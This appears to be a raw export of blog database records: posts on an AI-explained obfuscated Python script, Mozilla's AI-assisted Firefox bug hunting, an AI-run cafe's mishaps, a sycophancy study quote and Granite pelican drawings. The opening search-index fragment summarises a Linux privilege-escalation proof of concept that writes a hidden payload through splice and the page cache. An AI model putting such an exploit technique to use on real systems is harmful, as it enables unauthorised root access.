'gisthost.github.io/?ae53e3461ffdbfd0826156aacf025c7e).':357C 'go':316C 'goal':413C 'good':363C 'gpt':135C,283C,300C 'harder':648C 'harness':375C 'has':160C 'have':367C 'having':282C 'heading':481C,623C 'help':71C 'helper':611C 'here':159C,351C 'hex':598C,665C 'hidden':592C 'hides':667C 'high':483C 'high-level':482C 'hoc':253C 'how':323C 'html':8A,9B,40C,79C,152C,175C,211C,246C,287C,327C,334C,355C 'i':84C,122C,204C,237C,280C,365C 'ignores':699C 'image/page':422C 'import':636C 'important':529C 'in':131C,174C,180C,186C,248C,306C,420C,503C,606C 'in-memory':419C 'in-page':185C 'including':271C 'information':199C 'inline':102C 'instead':545C,660C 'interactive':183C,225C,345C 'interesting':56C 'interface':522C 'into':318C,567C,602C 'involving':516C,554C 'is':53C,395C,414C,443C,531C,534C,585C,600C,613C 'it':83C,177C,309C,320C,324C,360C,377C,510C,539C,546C,625C 'its':411C 'javascript':338C 'keeps':672C 'kernel':467C,519C,552C,696C 'last':216C 'left':479C 'level':484C 'like':68C,227C,292C,469C 'limit':143C 'linux':268C,401C,517C,658C 'linux-specific':400C 'llm':20B,298C 'llms':19B 'local':403C 'logic':92C 'looks':626C 'm':85C,238C,299C 'make':340C,643C 'making':197C 'margin':103C 'markdown':11B,42C,132C,146C 'me':72C,162C 'means':176C 'meant':144C 'memory':421C 'might':114C 'more':200C,243C 'most':129C 'moves':677C 'much':223C 'my':231C 'names':663C 'navigate':203C 'navigation':188C 'neat':194C 'neatly':328C 'needed':116C 'never':540C 'normal':685C 'not':86C,453C,460C,535C 'note':440C 'numbered':577C 'numeric':657C 'obfuscated':278C,399C 'obtain':430C 'of':7A,192C,196C,274C,289C,333C,379C,409C,424C,475C,573C,661C 'offsets':617C 'on':31C,59C,95C,224C,230C,258C,456C,464C,543C,550C 'one':70C 'ones':229C 'only':492C,589C 'open':581C 'opened':586C 'opens':488C 'operation':697C 'or':462C 'ordinary':536C 'os':637C 'other':193C 'out':257C,311C 'output':45C,168C,326C 'over':41C,151C,372C 'own':461C 'page':187C,356C,570C 'page-cache':569C 'pages':557C,681C 'patch':605C 'pattern':632C 'patterns':208C 'payload':497C,502C,593C,669C 'performs':511C 'piece':27C,158C 'pipes':525C,683C 'placed':566C 'pleasant':201C 'point':530C 'possible':350C 'pr':75C 'pretty':362C 'privilege':405C 'privilege-escalation':404C 'privileged':477C,575C 'privileges':432C 'processes':500C 'prompt':14B,66C 'prompt-engineering':13B 'prompts':254C 'proof':273C,408C 'proof-of-concept':407C 'provoking':26C 'purpose':634C 'python':279C,374C,389C 'raw':656C 'read':491C,588C,650C 'read-only':490C,587C 'readable':662C 'reads':438C 'recently':266C 'reconsider':164C 'recv':691C 'reformat':308C 'rely':549C 'render':97C 'repeatedly':615C 'representation':572C 'request':48C 'response':249C 'resulting':354C 'reverse':447C 'review':73C 'rich':245C,343C 'right':621C 'run':454C 's':147C,157C,302C,352C,361C,518C 'safety':439C 'screenshot':378C 'script':390C,487C,645C,674C 'security':10B,269C 'sequence':515C 'severity':110C 'shihipar':30C 'short':640C 'should':366C 'simonwillison.net':214C 'simonwillison.net/2025/dec/10/html-tools/)':213C 'since':133C 'site':61C,236C 'small':675C 'so':93C 'socket':521C,651C 'sorts':191C 'space':688C 'specific':402C 'splice':527C,676C 'spliced':555C 'start':241C 'static.simonwillison.net':703C 'static.simonwillison.net/static/2026/python-script-explainer.jpg)':702C 'steps':578C 'strange':627C 'streaming/backpressure':91C 'styled':329C 'su':428C 'suggestions':67C 'summary':485C 'svg':181C 'systems':457C 'table':630C 'tamper':416C 'target':582C 'team':35C 'technical':384C 'text':393C 'thariq':29C,156C 'thariqs.github.io':63C 'thariqs.github.io/html-effectiveness/))':62C 'that':81C,96C,145C,165C,219C,501C,532C 'the':4A,32C,51C,90C,98C,119C,134C,139C,198C,228C,290C,341C,353C,370C,373C,418C,473C,486C,528C,559C,568C,610C,644C,673C,695C 'themed':383C 'then':426C,499C 'things':130C 'this':60C,69C,74C,256C,293C,304C,388C,394C,441C,455C,470C,533C 'though':364C 'thought':25C 'thought-provoking':24C 'through':682C 'titled':386C 'to':47C,117C,126C,163C,202C,240C,250C,339C,415C,429C,548C,562C,642C,649C 'token':142C,149C 'token-efficiency':148C 'tools':212C 'tools.simonwillison.net':232C,234C 'tools.simonwillison.net/)':233C 'tried':281C 'triggers':694C 'try':690C 'trying':255C 'twitter.com':705C 'understanding':446C 'unreasonable':5A 'useful':207C 'user':687C 'user-space':686C 'uses':655C 'using':1A,331C 'utilities':226C 've':123C 'very':87C,222C 'vulnerable':466C 'was':153C,220C 'ways':195C 'well':121C 'what':319C,387C 'whatever':112C 'when':138C 'why':624C 'widgets':184C 'with':55C,89C,101C,244C,417C,616C,631C 'without':684C 'works':325C 'worthwhile':155C 'write':542C 'writing':538C 'wrote':205C 'yellow':435C 'yellow-bordered':434C 'you':458C 'zlib':596C 'zlib-compressed':595C",
  "import_ref": null,
  "card_image": "https://static.simonwillison.net/static/2026/python-script-explainer.jpg",
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
blogmark 2026-05-07 17:56:25+00:00
{
  "id": 9442,
  "slug": "firefox-claude-mythos",
  "link_url": "https://hacks.mozilla.org/2026/05/behind-the-scenes-hardening-firefox/",
  "link_title": "Behind the Scenes Hardening Firefox with Claude Mythos Preview",
  "via_url": "https://lobste.rs/s/7zppv1/behind_scenes_hardening_firefox_with",
  "via_title": "Lobste.rs",
  "commentary": "Fascinating, in-depth details on how Mozilla used their access to the Claude Mythos preview to locate and then fix hundreds of vulnerabilities in Firefox:\r\n\r\n> **Suddenly, the bugs are very good**\r\n> \r\n> Just a few months ago, AI-generated security bug reports to open source projects were mostly known for being unwanted slop. Dealing with reports that look plausibly correct but are wrong imposes an asymmetric cost on project maintainers: it\u2019s cheap and easy to prompt an LLM to find a \u201cproblem\u201d in code, but slow and expensive to respond to it.\r\n> \r\n> It is difficult to overstate how much this dynamic changed for us over a few short months. This was due to a combination of two main factors. First, the models got a lot more capable. Second, we dramatically improved our techniques for *harnessing* these models \u2014 steering them, scaling them, and stacking them to generate large amounts of signal and filter out the noise.\r\n\r\nThey include some detailed bug descriptions too, including a 20-year old XSLT bug and a 15-year-old bug in the `<legend>` element.\r\n\r\nA lot of the attempts made by the harness were blocked by Firefox's existing defense-in-depth measures, which is reassuring.\r\n\r\nMozilla were fixing around 20-30 security bugs in Firefox per month through 2025. That jumped to 423 in April.\r\n\r\n![Bar chart titled \"Firefox Security Bug Fixes by Month\" with subtitle \"All Sources \u2022 All Severities\" on a dark purple background, showing monthly counts: Jan 2025: 21, Feb 2025: 20, Mar 2025: 26, Apr 2025: 31, May 2025: 17, Jun 2025: 21, Jul 2025: 22, Aug 2025: 17, Sep 2025: 18, Oct 2025: 26, Nov 2025: 19, Dec 2025: 20, Jan 2026: 25, Feb 2026: 61, Mar 2026: 76, Apr 2026: 423 \u2014 a dramatic spike in the final month.](https://static.simonwillison.net/static/2026/firefox-security.webp)",
  "created": "2026-05-07T17:56:25+00:00",
  "metadata": {},
  "search_document": "'-30':233C '/static/2026/firefox-security.webp)':328C '15':197C '17':285C,294C '18':297C '19':303C '20':190C,232C,276C,306C '2025':241C,272C,275C,278C,281C,284C,287C,290C,293C,296C,299C,302C,305C '2026':308C,311C,314C,317C '21':273C,288C '22':291C '25':309C '26':279C,300C '31':282C '423':245C,318C '61':312C '76':315C 'a':57C,106C,131C,139C,149C,189C,196C,205C,264C,319C 'access':34C 'ago':60C 'ai':13B,16B,21B,62C 'ai-generated':61C 'ai-security-research':20B 'all':259C,261C 'amounts':173C 'an':89C,102C 'and':42C,98C,112C,167C,176C,195C 'anthropic':18B 'apr':280C,316C 'april':247C 'are':53C,86C 'around':231C 'asymmetric':90C 'attempts':209C 'aug':292C 'background':267C 'bar':248C 'behind':1A 'being':75C 'blocked':215C 'bug':65C,185C,194C,201C,253C 'bugs':52C,235C 'but':85C,110C 'by':211C,216C,255C 'capable':152C 'changed':127C 'chart':249C 'cheap':97C 'claude':7A,19B,37C 'code':109C 'combination':140C 'correct':84C 'cost':91C 'counts':270C 'dark':265C 'dealing':78C 'dec':304C 'defense':221C 'defense-in-depth':220C 'depth':27C,223C 'descriptions':186C 'detailed':184C 'details':28C 'difficult':120C 'dramatic':320C 'dramatically':155C 'due':137C 'dynamic':126C 'easy':99C 'element':204C 'existing':219C 'expensive':113C 'factors':144C 'fascinating':24C 'feb':274C,310C 'few':58C,132C 'filter':177C 'final':324C 'find':105C 'firefox':5A,10B,49C,217C,237C,251C 'first':145C 'fix':44C 'fixes':254C 'fixing':230C 'for':74C,128C,159C 'generate':171C 'generated':63C 'generative':15B 'generative-ai':14B 'good':55C 'got':148C 'hacks.mozilla.org':329C 'hardening':4A 'harness':213C 'harnessing':160C 'how':30C,123C 'hundreds':45C 'imposes':88C 'improved':156C 'in':26C,48C,108C,202C,222C,236C,246C,322C 'in-depth':25C 'include':182C 'including':188C 'is':119C,226C 'it':95C,117C,118C 'jan':271C,307C 'jul':289C 'jumped':243C 'jun':286C 'just':56C 'known':73C 'large':172C 'llm':103C 'llms':17B 'lobste.rs':330C 'locate':41C 'look':82C 'lot':150C,206C 'made':210C 'main':143C 'maintainers':94C 'mar':277C,313C 'may':283C 'measures':224C 'models':147C,162C 'month':239C,256C,325C 'monthly':269C 'months':59C,134C 'more':151C 'mostly':72C 'mozilla':11B,31C,228C 'much':124C 'mythos':8A,38C 'noise':180C 'nov':301C 'oct':298C 'of':46C,141C,174C,207C 'old':192C,200C 'on':29C,92C,263C 'open':68C 'our':157C 'out':178C 'over':130C 'overstate':122C 'per':238C 'plausibly':83C 'preview':9A,39C 'problem':107C 'project':93C 'projects':70C 'prompt':101C 'purple':266C 'reassuring':227C 'reports':66C,80C 'research':23B 'respond':115C 's':96C,218C 'scaling':165C 'scenes':3A 'second':153C 'security':12B,22B,64C,234C,252C 'sep':295C 'severities':262C 'short':133C 'showing':268C 'signal':175C 'slop':77C 'slow':111C 'some':183C 'source':69C 'sources':260C 'spike':321C 'stacking':168C 'static.simonwillison.net':327C 'static.simonwillison.net/static/2026/firefox-security.webp)':326C 'steering':163C 'subtitle':258C 'suddenly':50C 'techniques':158C 'that':81C,242C 'the':2A,36C,51C,146C,179C,203C,208C,212C,323C 'their':33C 'them':164C,166C,169C 'then':43C 'these':161C 'they':181C 'this':125C,135C 'through':240C 'titled':250C 'to':35C,40C,67C,100C,104C,114C,116C,121C,138C,170C,244C 'too':187C 'two':142C 'unwanted':76C 'us':129C 'used':32C 'very':54C 'vulnerabilities':47C 'was':136C 'we':154C 'were':71C,214C,229C 'which':225C 'with':6A,79C,257C 'wrong':87C 'xslt':193C 'year':191C,199C 'year-old':198C",
  "import_ref": null,
  "card_image": "https://static.simonwillison.net/static/2026/firefox-security.webp",
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
blogmark 2026-05-05 22:14:21+00:00
{
  "id": 9440,
  "slug": "our-ai-started-a-cafe-in-stockholm",
  "link_url": "https://andonlabs.com/blog/ai-cafe-stockholm",
  "link_title": "Our AI started a cafe in Stockholm",
  "via_url": "https://news.ycombinator.com/item?id=48028289",
  "via_title": "Hacker News",
  "commentary": "Andon Labs previously [started an AI-run retail store](https://andonlabs.com/blog/andon-market-launch) in San Francisco. Now they're running a similar experiment in Stockholm, Sweden, only this time it's a cafe.\r\n\r\nThese experiments are interesting, and often throw out amusing anecdotes:\r\n\r\n> During the first week of inventory, Mona ordered 120 eggs even though the caf\u00e9 has no stove. When the staff told her they couldn\u2019t cook them, she suggested using the high-speed oven, until they pointed out the eggs would likely explode. She also tried to solve the problem of fresh tomatoes being spoiled too fast by ordering 22.5 kg of canned tomatoes for the fresh sandwiches. The baristas eventually started a \u201cHall of Shame\u201d, a shelf visible to customers with all the weird things Mona ordered, including 6,000 napkins, 3,000 nitrile gloves, 9L coconut milk, and industrial-sized trash bags.\r\n\r\nWhere they lose their shine is when these AI managers start wasting the time of human beings who have *not* opted into the experiment:\r\n\r\n> She also successfully applied for an outdoor seating permit through the Police e-service, which didn\u2019t require BankID. Her first submission included a sketch she had generated herself, despite having never seen the street outside the caf\u00e9. Unsurprisingly, the Police sent it back for revision. [...]\r\n>\r\n> When she makes a mistake, she often sends multiple emails to suppliers with the subject \u201cEMERGENCY\u201d to cancel or change the order.\r\n\r\nI don't think it's ethical to run experiments like this that affect real-world systems and steal time from people.\r\n\r\nI'm reminded of the incident last year where the AI Village experiment [infuriated Rob Pike](https://simonwillison.net/2025/Dec/26/slop-acts-of-kindness/) by sending him unsolicited gratitude emails as an \"act of kindness\". That was just an unwanted email - asking suppliers to correct mistakes that were made without a human-in-the-loop or wasting police time with slop diagrams feels a whole lot worse to me.\r\n\r\nI think experiments like this need to keep their own human operators in-the-loop for outbound actions that affect other people.",
  "created": "2026-05-05T22:14:21+00:00",
  "metadata": {},
  "search_document": "'/2025/dec/26/slop-acts-of-kindness/)':302C '/blog/andon-market-launch)':31C '000':153C,156C '120':70C '22.5':122C '3':155C '6':152C '9l':159C 'a':4A,39C,50C,135C,139C,216C,242C,329C,343C 'act':311C 'actions':367C 'affect':274C,369C 'agents':15B 'ai':2A,8B,11B,14B,17B,25C,176C,294C 'ai-agents':13B 'ai-ethics':16B 'ai-run':24C 'all':145C 'also':107C,193C 'amusing':60C 'an':23C,197C,310C,317C 'and':56C,162C,279C 'andon':19C 'andonlabs.com':30C,372C 'andonlabs.com/blog/andon-market-launch)':29C 'anecdotes':61C 'applied':195C 'are':54C 'as':309C 'asking':320C 'back':236C 'bags':167C 'bankid':211C 'baristas':132C 'being':116C 'beings':184C 'by':120C,303C 'cafe':5A,51C 'caf\u00e9':75C,230C 'cancel':256C 'canned':125C 'change':258C 'coconut':160C 'cook':87C 'correct':323C 'couldn':85C 'customers':143C 'despite':222C 'diagrams':341C 'didn':208C 'don':262C 'during':62C 'e':205C 'e-service':204C 'eggs':71C,102C 'email':319C 'emails':248C,308C 'emergency':254C 'ethical':267C 'ethics':18B 'even':72C 'eventually':133C 'experiment':41C,191C,296C 'experiments':53C,270C,351C 'explode':105C 'fast':119C 'feels':342C 'first':64C,213C 'for':127C,196C,237C,365C 'francisco':34C 'fresh':114C,129C 'from':282C 'generated':220C 'generative':10B 'generative-ai':9B 'gloves':158C 'gratitude':307C 'hacker':373C 'had':219C 'hall':136C 'has':76C 'have':186C 'having':223C 'her':83C,212C 'herself':221C 'high':94C 'high-speed':93C 'him':305C 'human':183C,331C,359C 'human-in-the-loop':330C 'i':261C,284C,349C 'in':6A,32C,42C,332C,362C 'in-the-loop':361C 'incident':289C 'included':215C 'including':151C 'industrial':164C 'industrial-sized':163C 'infuriated':297C 'interesting':55C 'into':189C 'inventory':67C 'is':173C 'it':48C,235C,265C 'just':316C 'keep':356C 'kg':123C 'kindness':313C 'labs':20C 'last':290C 'like':271C,352C 'likely':104C 'llms':12B 'loop':334C,364C 'lose':170C 'lot':345C 'm':285C 'made':327C 'makes':241C 'managers':177C 'me':348C 'milk':161C 'mistake':243C 'mistakes':324C 'mona':68C,149C 'multiple':247C 'napkins':154C 'need':354C 'never':224C 'news':374C 'nitrile':157C 'no':77C 'not':187C 'now':35C 'of':66C,113C,124C,137C,182C,287C,312C 'often':57C,245C 'only':45C 'operators':360C 'opted':188C 'or':257C,335C 'order':260C 'ordered':69C,150C 'ordering':121C 'other':370C 'our':1A 'out':59C,100C 'outbound':366C 'outdoor':198C 'outside':228C 'oven':96C 'own':358C 'people':283C,371C 'permit':200C 'pike':299C 'pointed':99C 'police':203C,233C,337C 'previously':21C 'problem':112C 're':37C 'real':276C 'real-world':275C 'reminded':286C 'require':210C 'retail':27C 'revision':238C 'rob':298C 'run':26C,269C 'running':38C 's':49C,266C 'san':33C 'sandwiches':130C 'seating':199C 'seen':225C 'sending':304C 'sends':246C 'sent':234C 'service':206C 'shame':138C 'she':89C,106C,192C,218C,240C,244C 'shelf':140C 'shine':172C 'similar':40C 'simonwillison.net':301C 'simonwillison.net/2025/dec/26/slop-acts-of-kindness/)':300C 'sized':165C 'sketch':217C 'slop':340C 'solve':110C 'speed':95C 'spoiled':117C 'staff':81C 'start':178C 'started':3A,22C,134C 'steal':280C 'stockholm':7A,43C 'store':28C 'stove':78C 'street':227C 'subject':253C 'submission':214C 'successfully':194C 'suggested':90C 'suppliers':250C,321C 'sweden':44C 'systems':278C 't':86C,209C,263C 'that':273C,314C,325C,368C 'the':63C,74C,80C,92C,101C,111C,128C,131C,146C,180C,190C,202C,226C,229C,232C,252C,259C,288C,293C,333C,363C 'their':171C,357C 'them':88C 'these':52C,175C 'they':36C,84C,98C,169C 'things':148C 'think':264C,350C 'this':46C,272C,353C 'though':73C 'through':201C 'throw':58C 'time':47C,181C,281C,338C 'to':109C,142C,249C,255C,268C,322C,347C,355C 'told':82C 'tomatoes':115C,126C 'too':118C 'trash':166C 'tried':108C 'unsolicited':306C 'unsurprisingly':231C 'until':97C 'unwanted':318C 'using':91C 'village':295C 'visible':141C 'was':315C 'wasting':179C,336C 'week':65C 'weird':147C 'were':326C 'when':79C,174C,239C 'where':168C,292C 'which':207C 'who':185C 'whole':344C 'with':144C,251C,339C 'without':328C 'world':277C 'worse':346C 'would':103C 'year':291C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
quotation 2026-05-05 00:46:29+00:00
{
  "id": 2167,
  "slug": "john-gruber",
  "quotation": "So it\u2019s well known that Y Combinator owns *some* stake in OpenAI. But how big is that stake? This seems like devilishly difficult information to obtain. I asked around and a little birdie who knows several OpenAI investors came back with an answer: Y Combinator owns about 0.6 percent of OpenAI. At OpenAI\u2019s current [$852 billion valuation](https://openai.com/index/accelerating-the-next-phase-ai/), that\u2019s worth over $5 billion.",
  "source": "John Gruber",
  "source_url": "https://daringfireball.net/2026/05/y_combinators_stake_in_openai",
  "created": "2026-05-05T00:46:29+00:00",
  "metadata": {},
  "search_document": "'/index/accelerating-the-next-phase-ai/),':62A '0.6':49A '5':67A '852':57A 'a':32A 'about':48A 'ai':75B 'an':43A 'and':31A 'answer':44A 'around':30A 'asked':29A 'at':53A 'back':41A 'big':16A 'billion':58A,68A 'birdie':34A 'but':14A 'came':40A 'combinator':8A,46A,74B 'current':56A 'devilishly':23A 'difficult':24A 'gruber':71B,78C 'how':15A 'i':28A 'in':12A 'information':25A 'investors':39A 'is':17A 'it':2A 'john':70B,77C 'john-gruber':69B 'known':5A 'knows':36A 'like':22A 'little':33A 'obtain':27A 'of':51A 'openai':13A,38A,52A,54A,76B 'openai.com':61A 'openai.com/index/accelerating-the-next-phase-ai/),':60A 'over':66A 'owns':9A,47A 'percent':50A 's':3A,55A,64A 'seems':21A 'several':37A 'so':1A 'some':10A 'stake':11A,19A 'that':6A,18A,63A 'this':20A 'to':26A 'valuation':59A 'well':4A 'who':35A 'with':42A 'worth':65A 'y':7A,45A,73B 'y-combinator':72B",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "Y Combinator\u2019s Stake in OpenAI"
}
blogmark 2026-05-04 23:49:24+00:00
{
  "id": 9439,
  "slug": "granite-41-3b-svg-pelican-gallery",
  "link_url": "https://simonw.github.io/granite-4.1-3b-gguf-pelicans/",
  "link_title": "Granite 4.1 3B SVG Pelican Gallery",
  "via_url": null,
  "via_title": null,
  "commentary": "IBM released their [Granite 4.1 family](https://research.ibm.com/blog/granite-4-1-ai-foundation-models) of LLMs a few days ago. They're Apache 2.0 licensed and come in 3B, 8B and 30B sizes.\r\n\r\n[Granite 4.1 LLMs: How They\u2019re Built](https://huggingface.co/blog/ibm-granite/granite-4-1) by Granite team member Yousaf Shah describes the training process in detail.\r\n\r\nUnsloth released the [unsloth/granite-4.1-3b-GGUF](https://huggingface.co/unsloth/granite-4.1-3b-GGUF) collection of GGUF encoded quantized variants of the 3B model - 21 different model files ranging in size from 1.2GB to 6.34GB.\r\n\r\nAll 21 of those Unsloth files add up to 51.3GB, which inspired me to finally try an experiment I've been wanting to run for ages: prompting \"Generate an SVG of a pelican riding a bicycle\" against different sized quantized variants of the same model to see what the results would look like.\r\n\r\nHonestly, [the results](https://simonw.github.io/granite-4.1-3b-gguf-pelicans/) are less interesting than I expected. There's no distinguishable pattern relating quality to size - they're all pretty terrible!\r\n\r\n![Six different SVG images from models ranging in size from 1.67GB to 1.2GB. They are almost all an abstract collection of shapes - weirdly the smallest model had the best version of a bicycle, while the largest one had something that looked a tiny bit like a pelican.](https://static.simonwillison.net/static/2026/granite-3B-pelicans.jpg)\r\n\r\nI'll likely try this again in the future with a model that's better at drawing pelicans.",
  "created": "2026-05-04T23:49:24+00:00",
  "metadata": {},
  "search_document": "'/blog/granite-4-1-ai-foundation-models)':29C '/blog/ibm-granite/granite-4-1)':58C '/granite-4.1-3b-gguf-pelicans/)':160C '/static/2026/granite-3b-pelicans.jpg)':232C '/unsloth/granite-4.1-3b-gguf)':77C '1.2':96C,194C '1.67':191C '2.0':39C '21':88C,102C '30b':47C '3b':3A,44C,86C '4.1':2A,25C,50C '51.3':110C '6.34':99C '8b':45C 'a':16B,32C,133C,136C,214C,224C,228C,243C 'abstract':201C 'add':107C 'again':238C 'against':138C 'ages':127C 'ago':35C 'ai':8B,11B 'all':101C,178C,199C 'almost':198C 'an':118C,130C,200C 'and':41C,46C 'apache':38C 'are':161C,197C 'at':248C 'been':122C 'best':211C 'better':247C 'bicycle':17B,137C,215C 'bit':226C 'built':55C 'by':59C 'collection':78C,202C 'come':42C 'days':34C 'describes':65C 'detail':70C 'different':89C,139C,182C 'distinguishable':170C 'drawing':249C 'encoded':81C 'expected':166C 'experiment':119C 'family':26C 'few':33C 'files':91C,106C 'finally':116C 'for':126C 'from':95C,185C,190C 'future':241C 'gallery':6A 'gb':97C,100C,111C,192C,195C 'generate':129C 'generative':10B 'generative-ai':9B 'gguf':80C 'granite':1A,24C,49C,60C 'had':209C,220C 'honestly':155C 'how':52C 'huggingface.co':57C,76C 'huggingface.co/blog/ibm-granite/granite-4-1)':56C 'huggingface.co/unsloth/granite-4.1-3b-gguf)':75C 'i':120C,165C,233C 'ibm':7B,21C 'images':184C 'in':43C,69C,93C,188C,239C 'inspired':113C 'interesting':163C 'largest':218C 'less':162C 'licensed':40C 'like':154C,227C 'likely':235C 'll':234C 'llm':19B 'llm-release':18B 'llms':12B,31C,51C 'look':153C 'looked':223C 'me':114C 'member':62C 'model':87C,90C,146C,208C,244C 'models':186C 'no':169C 'of':30C,79C,84C,103C,132C,143C,203C,213C 'one':219C 'pattern':171C 'pelican':5A,14B,134C,229C 'pelican-riding-a-bicycle':13B 'pelicans':250C 'pretty':179C 'process':68C 'prompting':128C 'quality':173C 'quantized':82C,141C 'ranging':92C,187C 're':37C,54C,177C 'relating':172C 'release':20B 'released':22C,72C 'research.ibm.com':28C 'research.ibm.com/blog/granite-4-1-ai-foundation-models)':27C 'results':151C,157C 'riding':15B,135C 'run':125C 's':168C,246C 'same':145C 'see':148C 'shah':64C 'shapes':204C 'simonw.github.io':159C,251C 'simonw.github.io/granite-4.1-3b-gguf-pelicans/)':158C 'six':181C 'size':94C,175C,189C 'sized':140C 'sizes':48C 'smallest':207C 'something':221C 'static.simonwillison.net':231C 'static.simonwillison.net/static/2026/granite-3b-pelicans.jpg)':230C 'svg':4A,131C,183C 'team':61C 'terrible':180C 'than':164C 'that':222C,245C 'the':66C,73C,85C,144C,150C,156C,206C,210C,217C,240C 'their':23C 'there':167C 'they':36C,53C,176C,196C 'this':237C 'those':104C 'tiny':225C 'to':98C,109C,115C,124C,147C,174C,193C 'training':67C 'try':117C,236C 'unsloth':71C,105C 'unsloth/granite-4.1-3b-gguf':74C 'up':108C 'variants':83C,142C 've':121C 'version':212C 'wanting':123C 'weirdly':205C 'what':149C 'which':112C 'while':216C 'with':242C 'would':152C 'yousaf':63C",
  "import_ref": null,
  "card_image": "https://static.simonwillison.net/static/2026/granite-3B-card.jpg",
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
quotation 2026-05-04 22:51:09+00:00
{
  "id": 2166,
  "slug": "andy-masley",
  "quotation": "[...] Between 2000 and 2024, farmers sold in total a Colorado-sized chunk of land all on their own, 77 times all land on data center property in 2028, and grew more food than ever on what was left. None of this caused any problems for US food access.\r\n\r\nAnd then, in the middle of all this, a farmer in Loudoun County sells a few acres of mediocre hay field to a hyperscaler for ten times its agricultural value, and the response is that we\u2019re running out of farmland.",
  "source": "Andy Masley",
  "source_url": "https://blog.andymasley.com/p/data-center-land-use-issues-are-fake",
  "created": "2026-05-04T22:51:09+00:00",
  "metadata": {},
  "search_document": "'2000':2A '2024':4A '2028':29A '77':20A 'a':9A,58A,64A,72A 'access':49A 'acres':66A 'agricultural':78A 'ai':91B,94B,96B 'ai-ethics':95B 'all':16A,22A,56A 'and':3A,30A,50A,80A 'andy':99B,101C 'andy-masley':98B 'any':44A 'between':1A 'caused':43A 'center':26A 'chunk':13A 'colorado':11A 'colorado-sized':10A 'county':62A 'data':25A 'ethics':97B 'ever':35A 'farmer':59A 'farmers':5A 'farmland':90A 'few':65A 'field':70A 'food':33A,48A 'for':46A,74A 'generative':93B 'generative-ai':92B 'grew':31A 'hay':69A 'hyperscaler':73A 'in':7A,28A,52A,60A 'is':83A 'its':77A 'land':15A,23A 'left':39A 'loudoun':61A 'masley':100B,102C 'mediocre':68A 'middle':54A 'more':32A 'none':40A 'of':14A,41A,55A,67A,89A 'on':17A,24A,36A 'out':88A 'own':19A 'problems':45A 'property':27A 're':86A 'response':82A 'running':87A 'sells':63A 'sized':12A 'sold':6A 'ten':75A 'than':34A 'that':84A 'the':53A,81A 'their':18A 'then':51A 'this':42A,57A 'times':21A,76A 'to':71A 'total':8A 'us':47A 'value':79A 'was':38A 'we':85A 'what':37A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "pushing back against the \"land use\" argument against data center construction"
}
quotation 2026-05-03 15:13:23+00:00
{
  "id": 2165,
  "slug": "anthropic",
  "quotation": "We used an automatic classifier which judged sycophancy by looking at whether Claude showed a willingness to push back, maintain positions when challenged, give praise proportional to the merit of ideas, and speak frankly regardless of what a person wants to hear. Most of the time in these situations, Claude expressed no sycophancy\u2014only 9% of conversations included sycophantic behavior (Figure 2). But two domains were exceptions: we saw sycophantic behavior in 38% of conversations focused on spirituality, and 25% of conversations on relationships.",
  "source": "Anthropic",
  "source_url": "https://www.anthropic.com/research/claude-personal-guidance",
  "created": "2026-05-03T15:13:23+00:00",
  "metadata": {},
  "search_document": "'2':62A '25':80A '38':73A '9':55A 'a':15A,38A 'ai':85B,88B,93B,96B 'ai-ethics':92B 'ai-personality':95B 'an':3A 'and':32A,79A 'anthropic':90B,99C 'at':11A 'automatic':4A 'back':19A 'behavior':60A,71A 'but':63A 'by':9A 'challenged':23A 'classifier':5A 'claude':13A,50A,91B 'conversations':57A,75A,82A 'domains':65A 'ethics':94B 'exceptions':67A 'expressed':51A 'figure':61A 'focused':76A 'frankly':34A 'generative':87B 'generative-ai':86B 'give':24A 'hear':42A 'ideas':31A 'in':47A,72A 'included':58A 'judged':7A 'llms':89B 'looking':10A 'maintain':20A 'merit':29A 'most':43A 'no':52A 'of':30A,36A,44A,56A,74A,81A 'on':77A,83A 'only':54A 'person':39A 'personality':97B 'positions':21A 'praise':25A 'proportional':26A 'push':18A 'regardless':35A 'relationships':84A 'saw':69A 'showed':14A 'situations':49A 'speak':33A 'spirituality':78A 'sycophancy':8A,53A,98B 'sycophantic':59A,70A 'the':28A,45A 'these':48A 'time':46A 'to':17A,27A,41A 'two':64A 'used':2A 'wants':40A 'we':1A,68A 'were':66A 'what':37A 'when':22A 'whether':12A 'which':6A 'willingness':16A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "How people ask Claude for personal guidance"
}
blogmark 2026-05-02 17:26:40+00:00
{
  "id": 9438,
  "slug": "sightings",
  "link_url": "https://simonwillison.net/elsewhere/sighting/",
  "link_title": "/elsewhere/sightings/",
  "via_url": null,
  "via_title": null,
  "commentary": "I have a new camera (a Canon R6 Mark II) so I'm taking a lot more photos of birds. I share my best wildlife photos on [iNaturalist](https://www.inaturalist.org/), and based on yesterday's [successful prototype](https://simonwillison.net/2026/May/1/inat-sightings/)  I decided to add those to my blog.\r\n\r\n<img class=\"blogmark-image\" src=\"https://static.simonwillison.net/static/2026/beats-sightings.jpeg\" alt=\"Screenshot of a &quot;Sightings&quot; webpage with a search bar and RSS icon, showing &quot;Filters: Sorted by date&quot; and &quot;208 results page 1 / 7 next \u00bb last \u00bb\u00bb&quot;. First entry: SIGHTING 7:51 PM \u2014 Acorn Woodpecker, with two photos labeled &quot;Acorn Woodpecker&quot; of black and white woodpeckers with red caps on tree branches, dated 2nd May 2026. Second entry: SIGHTING 10:08 AM \u2013 11:17 AM \u2014 Acorn Woodpecker, Western Fence Lizard, Osprey, with three photos labeled &quot;Acorn Woodpecker&quot; (bird on bare branches against blue sky), &quot;Wester...&quot; (lizard on tree bark), and &quot;Osprey&quot; (nest on a utility pole), dated 1st May 2026. Third entry: SIGHTING 11:11 AM \u2014 White-crowned Sparrow, with a photo labeled &quot;White-crowned Sparrow&quot; of a sparrow with black and white striped head singing with open beak, dated 30th Apr 2026.\">\r\n\r\nI built this feature on my phone using Claude Code for web, as an extension of my [beats system](https://simonwillison.net/2026/Feb/20/beats/) for syndicating external content. Here's [the PR](https://github.com/simonw/simonwillisonblog/pull/668) and prompt.\r\n\r\nAs with my other forms of incoming syndicated content sightings show up on the homepage, the date archive pages, and in site search results.\r\n\r\nI back-populated over a decade of iNaturalist sightings, which means you that 